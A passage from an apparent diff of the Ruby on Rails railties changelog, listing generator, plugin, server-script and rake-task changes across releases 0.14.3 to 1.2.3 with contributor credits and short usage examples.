+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
+
+* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
+
+* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
+
+* Add observer generator. Closes #5167. *François Beausoleil*
+
+* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
+
+* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
+
+* Distinguish the spawners for different processes *David Heinemeier Hansson*
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
+
+
+## 1.2.3 (March 12th, 2007) ##
+
+* Ruby 1.8.6 compatibility
+
+* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
+
+* Stop swallowing errors during rake test *Michael Koziarski*
+
+
+## 1.2.2 (February 5th, 2007) ##
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
+
+* Require the dispatcher for Rails::Configuration#to_prepare. *Rick Olson*
+
+
+## 1.2.1 (January 16th, 2007) ##
+
+* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
+
+
+## 1.2.0 (January 16th, 2007) ##
+
+* Update to Prototype 1.5.0. *Sam Stephenson*
+
+* Generator: use destination path for diff tempfiles. #7015 *alfeld*
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
+ If you really want your plugins to reload, add this to the very top of init.rb:
+
+ Dependencies.load_once_paths.delete(lib_path)
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
+
+* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
+
+* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
+
+* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 *David Heinemeier Hansson*
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
+
+* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs*
+
+* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
+
+* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
+
+* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
+
+* Revert environment changes for autoload_paths. *Michael Koziarski*
+
+* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
+
+* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
+
+* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
+
+* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
+
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
+
+* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+ config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. *Tim Lucas*
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
+
+* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
+
+* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
+
+ ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
+
+* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
+ #!/usr/bin/env /path/to/my/app/script/runner
+ # Example: just start using your models as if you are in script/console
+ Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs. #6259 *obrie*
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
+
+* session_migration generator adds an index on updated_at. #6207 *grg*
+
+* script/server creates the tmp/pids directory. #6204 *jonathan*
+
+* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+ documented in initializer.rb, the workaround is:
+
+ config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
+
+ References #6031. *Nicholas Seckar*
+
+* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
+
+* Formally Deprecate the old rake tasks. *Michael Koziarski*
+
+* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
+
+* Add Dependencies.load_once_paths. *Nicholas Seckar*
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
+
+* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
+
+ ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+ ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
+
+* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
+
+* Add autoload_paths support to Initializer. *Nicholas Seckar*
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
+
+* Clarify usage of script/plugin source. Closes #5344. *James Adam*
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
+
+* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
+
+* Ensure the logger is initialized. #5629 *mike@clarkware.com*
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
+
+ spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
+ spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
+ spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+ spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+ spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+ Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
+
+* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
+
+ irb(#<TopController:0x40822a68>):002:0> show_source_list
+ 0001 class TopController < ApplicationController
+ 0002 def show
+ 0003-> breakpoint
+ 0004 end
+ 0005
+ 0006 def index
+ 0007 end
+ 0008
+ => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+ irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+ app/controllers/top_controller.rb:3:in `show'
+ => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
+
+* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
+
+* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
+
+* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
+
+* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
+
+* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
+
+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
+
+* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
+
+* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
+
+* Add observer generator. Closes #5167. *François Beausoleil*
+
+* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
+
+* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
+
+* Distinguish the spawners for different processes *David Heinemeier Hansson*
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
+
+
+## 1.1.6 (August 10th, 2006) ##
+
+* Additional security patch
+
+
+## 1.1.5 (August 8th, 2006) ##
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 *Alisdair McDiarmid*
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
+
+* Includes critical security patch
+
+
+## 1.1.4 (June 29th, 2006) ##
+
+* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. *headius@headius.com*
+
+* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
+
+
+## 1.1.3 (June 27th, 2006) ##
+
+* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
+
+
+## 1.1.2 (April 9th, 2006) ##
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. *Alisdair McDiarmid*
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
+
+* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) *David Heinemeier Hansson*
+
+* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem *David Heinemeier Hansson*
+
+
+## 1.1.1 (April 6th, 2006) ##
+
+* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) *ruben.nine@gmail.com*
+
+* Update to Prototype 1.5.0_rc0 *Sam Stephenson*
+
+* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 *ryan.raaum@gmail.com*
+
+* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html *David Heinemeier Hansson*
+
+* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 *augustz@augustz.com*
+
+* Fixed that rails --version should have the return code of 0 (success) #4560 *blair@orcaware.com*
+
+* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. *Nicholas Seckar*
+
+* Fixed that spawner should daemonize if running in repeat mode *David Heinemeier Hansson*
+
+* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release *David Heinemeier Hansson*
+
+* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
+
+* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 *starr@starrnhorne.com*
+
+* Make Rails::VERSION implicitly loadable #4491. *Nicholas Seckar*
+
+* Fixed rake rails:freeze:gems #4518 *benji@silverinsanity.com*
+
+* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with *David Heinemeier Hansson*
+
+* Added gem binding of apps generated through the rails command to the gems of they were generated with *Nicholas Seckar*
+
+* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf *David Heinemeier Hansson*
+
+* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf *David Heinemeier Hansson*
+
+* Avoid passing escapeHTML non-string in Rails' info controller *Nicholas Seckar*
+
+
+## 1.1.0 (March 27th, 2006) ##
+
+* Allow db:fixtures:load to load a subset of the applications fixtures. *Chad Fowler*
+
+ ex.
+
+ rake db:fixtures:load FIXTURES=customers,plans
+
+* Update to Prototype 1.5.0_pre1 *Sam Stephenson*
+
+* Update to script.aculo.us 1.6 *Thomas Fuchs*
+
+* Add an integration_test generator *Jamis Buck*
+
+* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. *Marcel Molina Jr.*
+
+ ex.
+
+ >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
+ <option value="1">a</option>
+ <option value="2">b</option>
+ <option value="3">c</option>
+ => nil
+
+* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. *Rick Olson*
+
+* Reject Ruby 1.8.3 when loading Rails; extract version checking code. *Chad Fowler*
+
+* Remove explicit loading of RailsInfo and RailsInfoController. *Nicholas Seckar*
+
+* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. *Nicholas Seckar*
+
+* Extend load path with Railties' builtin directory to make adding support code easy. *Nicholas Seckar*
+
+* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. *Nicholas Seckar*
+
+* Fixed rails:freeze:gems for Windows #3274 *paul@paulbutcher.com*
+
+* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 *guy.naor@famundo.com*
+
+* Add verification to generated scaffolds, don't allow get for unsafe actions *Michael Koziarski*
+
+* Don't replace application.js in public/javascripts if it already exists *Cody Fauser*
+
+* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. *Nicholas Seckar*
+
+* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. *rob.rasmussen@gmail.com*
+
+* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. *Chad Fowler*
+
+* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions *Rick Olson*
+
+* Added tracking of database and framework versions in script/about #4088 *charles.gerungan@gmail.com/Rick Olson*
+
+* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults *David Heinemeier Hansson*
+
+* Added socket cleanup for lighttpd, both before and after *David Heinemeier Hansson*
+
+* Added automatic creation of tmp/ when running script/server *David Heinemeier Hansson*
+
+* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process *David Heinemeier Hansson*
+
+* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 *esad@esse.at*
+
+* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 *David Heinemeier Hansson*
+
+* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 *Thijs van der Vossen*
+
+* Added test:uncommitted to test changes since last checkin to Subversion #4035 *technomancy@gmail.com*
+
+* Help script/about print the correct svn revision when in a non-English locale. #4026 *babie7a0@ybb.ne.jp*
+
+* Add 'app' accessor to script/console as an instance of Integration::Session *Jamis Buck*
+
+* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. *Jeremy Kemper*
+
+* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. *Jeremy Kemper*
+
+* Add integration test support to app generation and testing *Jamis Buck*
+
+* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though *David Heinemeier Hansson*
+
+* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! *David Heinemeier Hansson*
+
+* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 *ror@andreas-s.net*
+
+* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
+
+ m.template "stuff.config" , "config/stuff.config" , :collision => :skip
+ m.template "auto-stamping", "config/generator.log", :collision => :force
+
+* Added more information to script/plugin's doings to ease debugging #3755 *Rick Olson*
+
+* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets *David Heinemeier Hansson*
+
+* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration *David Heinemeier Hansson*
+
+* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) *David Heinemeier Hansson*
+
+* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton *David Heinemeier Hansson*
+
+* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration *David Heinemeier Hansson*
+
+* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration *David Heinemeier Hansson*
+
+* Allow script/server -c /path/to/lighttpd.conf *Jeremy Kemper*
+
+* Remove hardcoded path to reaper script in script/server *Jeremy Kemper*
+
+* Update script.aculo.us to V1.5.3 *Thomas Fuchs*
+
+* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things *David Heinemeier Hansson*
+
+* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. *David Heinemeier Hansson*
+
+* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. *Michael Koziarski*
+
+* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. *David Heinemeier Hansson*
+
+* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 *tom@craz8.com*
+
+* Fixed documentation tasks to work with Rake 0.7.0 #3563 *kazuhiko@fdiary.net*
+
+* Update to Prototype 1.5.0_pre0 *Sam Stephenson*
+
+* Sort the list of plugins so we load in a consistent order *Rick Olson*
+
+* Show usage when script/plugin is called without arguments *tom@craz8.com*
+
+* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 *anna@wota.jp*
+
+* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 *jeremy@planetargon.com Marcel Molina Jr.*
+
+* Fix typo in mailer generator USAGE. #3458 *chriztian.steinmeier@gmail.com*
+
+* Ignore version mismatch between pg_dump and the database server. #3457 *Simon Stapleton*
+
+* Reap FCGI processes after lighttpd exits. *Sam Stephenson*
+
+* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. *rails@bencurtis.com, Marcel Molina Jr.*
+
+## 1.0.0 (December 13th, 2005) ##
+
+* Update instructions on how to find and install generators. #3172. *Chad Fowler*
+
+* Generator looks in vendor/generators also. *Chad Fowler*
+
+* Generator copies files in binary mode. #3156 *minimudboy@gmail.com*
+
+* Add builtin/ to the gemspec. Closes #3047. *Nicholas Seckar, Sam Stephenson*
+
+* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. *Marcel Molina Jr.*
+
+* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. *Sam Stephenson*
+
+* Make load_fixtures include csv fixtures. #3053. *me@mdaines.com*
+
+* Fix freeze_gems so that the latest rails version is dumped by default. *Nicholas Seckar*
+
+* script/plugin: handle root paths and plugin names which contain spaces. #2995 *justin@aspect.net*
+
+* Model generator: correct relative path to test_helper in unit test. *Jeremy Kemper*
+
+* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. *Blair Zajac*
+
+* Have the lighttpd server script report the actual ip to which the server is bound. #2903. *Adam*
+
+* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. *James Adam*
+
+* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. *anonymous*
+
+* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 *Dreamer3*
+
+* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 *Rick Olson*
+
+* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com>
+
+* Windows: eliminate the socket option in database.yml. #2924 *Wayne Vucenic <waynev@gmail.com>*
+
+* Eliminate nil from newly generated logfiles. #2927 *Blair Zajac <blair@orcaware.com>*
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 *Chad Fowler, Rick Olson*
+
+* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 *Rick Olson*
+
+* Make sure that legacy db tasks also reference :database for SQLite #2830 *kazuhiko@fdiary.net*
+
+* Pass __FILE__ when evaluating plugins' init.rb. #2817 *James Adam*
+
+* Better svn status matching for generators. #2814 *François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>*
+
+* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities *David Heinemeier Hansson*
+
+* Don't detach or fork for script/server tailing *Nicholas Seckar*
+
+* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path *David Heinemeier Hansson*
+
+* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
+
+* Correct versioning in :freeze_gems Rake task. #2778 *Jakob Skjerning, Jeremy Kemper*
+
+* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. *Sam Stephenson*
+
+
+## 0.14.3 (RC4) (November 7th, 2005) ##
+
+## Add 'add_new_scripts' rake task for adding new rails scripts to script/ Jamis Buck ##
+
+* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 *anonymous*
+
+* Copy lighttpd.conf when it is first needed, instead of on app creation *Jamis Buck*
+
+* Use require_library_or_gem 'fcgi' in script/server *Sam Stephenson*
+
+* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' *David Heinemeier Hansson*
+
+* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. *Jeremy Kemper*
+
+* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. *Jeremy Kemper*
+
+* Refactor load_plugin from load_plugins. #2757 *alex.r.moon@gmail.com*
+
+* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info *Sam Stephenson*
+
+* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. *Chad Fowler*
+
+* Added script/about to display formatted Rails::Info output *Sam Stephenson*
+
+* Added Rails::Info to catalog assorted information about a Rails application's environment *Sam Stephenson*
+
+* Tail the logfile when running script/server lighttpd in the foreground *Sam Stephenson*
+
+* Try to guess the port number from config/lighttpd.conf in script/server lighttpd *Sam Stephenson*
+
+* Don't reap spawn-fcgi. #2727 *matthew@walker.wattle.id.au*
+
+* Reaper knows how to find processes even if the dispatch path is very long. #2711 *matthew@walker.wattle.id.au*
+
+* Make fcgi handler respond to TERM signals with an explicit exit *Jamis Buck*
+
+* Added demonstration of fixture use to the test case generated by the model generator *David Heinemeier Hansson*
+
+* If specified, pass PostgreSQL client character encoding to createdb. #2703 *Kazuhiko <kazuhiko@fdiary.net>*
+
+* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. *Jeremy Kemper*
+
+* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. *Chad Fowler, Jeremy Kemper*
+
+* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) *Thomas Fuchs*
+
+* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 *Rick Olson*
+
+* Comment database.yml and include PostgreSQL and SQLite examples. *Jeremy Kemper*
+
+* Improve script/plugin on Windows. #2646 *Chad Fowler*
+
+* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 *bellis@deepthought.org*
+
+* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. *Anatol Pomozov <anatol.pomozov@gmail.com>*
+
